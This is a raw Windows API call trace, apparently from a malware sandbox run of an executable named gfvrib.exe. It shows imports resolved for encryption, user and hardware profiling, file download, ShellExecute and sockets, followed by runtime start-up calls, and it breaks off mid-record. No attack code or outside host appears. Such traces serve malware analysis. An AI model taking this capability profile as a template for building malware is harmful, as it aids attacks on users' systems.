[0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSetInformation") returned 0x76c35651 [0029.154] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="HeapCreate") returned 0x76c34a2d [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0029.155] GetProcAddress (hModule=0x76c20000, lpProcName="InterlockedIncrement") returned 0x76c31400 [0029.156] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0029.156] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0029.156] GetProcAddress (hModule=0x76c20000, lpProcName="InterlockedDecrement") returned 0x76c313f0 [0029.156] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0029.156] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameA") returned 0x74d6a4b4 [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyKey") returned 0x74d4c51a [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGenKey") returned 0x74d48ee9 [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="GetCurrentHwProfileA") returned 0x74d811f8 [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextA") returned 0x74d491dd [0029.156] GetProcAddress (hModule=0x74d40000, lpProcName="CryptExportKey") returned 0x74d491ea [0029.156] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0032.321] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0032.322] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0032.322] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteW") returned 0x75fe3c71 [0032.322] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0033.039] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0033.039] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0033.039] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0033.039] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0033.342] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0033.342] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0033.342] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0033.617] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0033.618] GetProcAddress (hModule=0x759b0000, lpProcName="CryptBinaryToStringA") returned 0x759ea8c5 [0033.618] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0034.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0034.546] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0034.546] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0034.546] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0034.546] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74b60000 [0034.617] GetProcAddress (hModule=0x74b60000, lpProcName="VerQueryValueA") returned 0x74b61b72 [0034.617] GetProcAddress (hModule=0x74b60000, lpProcName="GetFileVersionInfoSizeA") returned 0x74b61c9c [0034.617] GetProcAddress (hModule=0x74b60000, lpProcName="GetFileVersionInfoA") returned 0x74b61ced [0034.617] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75da0000 [0034.617] GetProcAddress (hModule=0x75da0000, lpProcName="URLDownloadToFileW") returned 0x75e366f6 [0034.617] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0x17) returned 0x75bc3eb8 [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0x10) returned 0x75bc6b0e [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0x9) returned 0x75bc2d8b [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0x73) returned 0x75bc3ab2 [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0x4) returned 0x75bc6bdd [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0x13) returned 0x75bc6f01 [0034.791] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0034.791] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74aa0000 [0034.954] GetProcAddress (hModule=0x74aa0000, lpProcName="atexit") returned 0x74abc544 [0034.955] atexit (param_1=0x20920) returned 0 [0034.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f018 | out: lpSystemTimeAsFileTime=0x18f018*(dwLowDateTime=0xca509cf0, dwHighDateTime=0x1d561e7)) [0034.955] GetCurrentProcessId () returned 0x93c [0034.955] GetCurrentThreadId () returned 0x940 [0034.955] GetTickCount () returned 0x1143286 [0034.955] QueryPerformanceCounter (in: lpPerformanceCount=0x18f010 | out: lpPerformanceCount=0x18f010*=15517797434) returned 1 [0034.955] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0034.955] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x4f90000 [0034.955] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0034.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0034.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0034.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0034.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0034.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x214) returned 0x4f907d0 [0034.957] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0034.957] GetCurrentThreadId () returned 0x940 [0034.957] GetStartupInfoW (in: lpStartupInfo=0x18ef9c | out: lpStartupInfo=0x18ef9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ead6, hStdOutput=0x40ee0f, hStdError=0x4f907d0)) [0034.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x800) returned 0x4f909f0 [0034.957] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.957] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.957] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.957] SetHandleCount (uNumber=0x20) returned 0x20 [0034.957] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe\" " [0034.957] GetEnvironmentStringsW () returned 0x3407ba8* [0034.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0034.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x565) returned 0x4f911f8 [0034.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x4f911f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0034.957] FreeEnvironmentStringsW (penv=0x3407ba8) returned 1 [0034.957] GetLastError () returned 0x0 [0034.957] SetLastError (dwErrCode=0x0) [0034.957] GetLastError () returned 0x0 [0034.957] SetLastError (dwErrCode=0x0) [0034.957] GetLastError () returned 0x0 [0034.958] SetLastError (dwErrCode=0x0) [0034.958] GetACP () returned 0x4e4 [0034.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x220) returned 0x4f91768 [0034.958] GetLastError () returned 0x0 [0034.958] SetLastError (dwErrCode=0x0) [0034.958] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.958] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ef64 | out: lpCPInfo=0x18ef64) returned 1 [0034.958] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ea30 | out: lpCPInfo=0x18ea30) returned 1 [0034.958] GetLastError () returned 0x0 [0034.958] SetLastError (dwErrCode=0x0) [0034.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ee44, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ee44, cbMultiByte=256, lpWideCharStr=0x18e7a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.958] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ea44 | out: lpCharType=0x18ea44) returned 1 [0034.958] GetLastError () returned 0x0 [0034.958] SetLastError (dwErrCode=0x0) [0034.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ee44, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ee44, cbMultiByte=256, lpWideCharStr=0x18e778, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赚뷍ᒖAĀ") returned 256 [0034.958] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赚뷍ᒖAĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0034.958] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赚뷍ᒖAĀ", cchSrc=256, lpDestStr=0x18e568, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0034.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18ed44, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9cìgV|ï\x18", lpUsedDefaultChar=0x0) returned 256 [0034.958] GetLastError () returned 0x0 [0034.958] SetLastError (dwErrCode=0x0) [0034.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ee44, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ee44, cbMultiByte=256, lpWideCharStr=0x18e798, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赚뷍ᒖAĀ") returned 256 [0034.958] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赚뷍ᒖAĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0034.958] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赚뷍ᒖAĀ", cchSrc=256, lpDestStr=0x18e588, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0034.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18ec44, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9cìgV|ï\x18", lpUsedDefaultChar=0x0) returned 256 [0034.958] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x414018, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gfvrib.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gfvrib.exe")) returned 0x30 [0034.959] GetLastError () returned 0x0 [0034.959] SetLastError (dwErrCode=0x0) [0034.959] GetLastError () returned 0x0 [0034.959] SetLastError (dwErrCode=0x0) [0034.959] GetLastError () returned 0x0 [0034.959] SetLastError (dwErrCode=0x0) [0034.959] GetLastError () returned 0x0 [0034.959] SetLastError (dwErrCode=0x0) [0034.959] GetLastError () returned 0x0 [0034.959] SetLastError (dwErrCode=0x0) [0034.959] GetLastError () returned 0x0 [0034.959] SetLastError (dwErrCode=0x0) [0034.959] GetLastError () returned 0x0 [0034.960] SetLastError (dwErrCode=0x0) [0034.960] GetLastError () returned 0x0 [0034.960] SetLastError (dwErrCode=0x0) [0034.960] GetLastError () returned 0x0 [0034.960] SetLastError (dwErrCode=0x0) [0034.960] GetLastError () returned 0x0 [0034.960] SetLastError (dwErrCode=0x0) [0034.960] GetLastError () returned 0x0 [0034.960] SetLastError (dwErrCode=0x0) [0034.960] GetLastError () returned 0x0 [0034.960] SetLastError (dwErrCode=0x0) [0034.960] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] 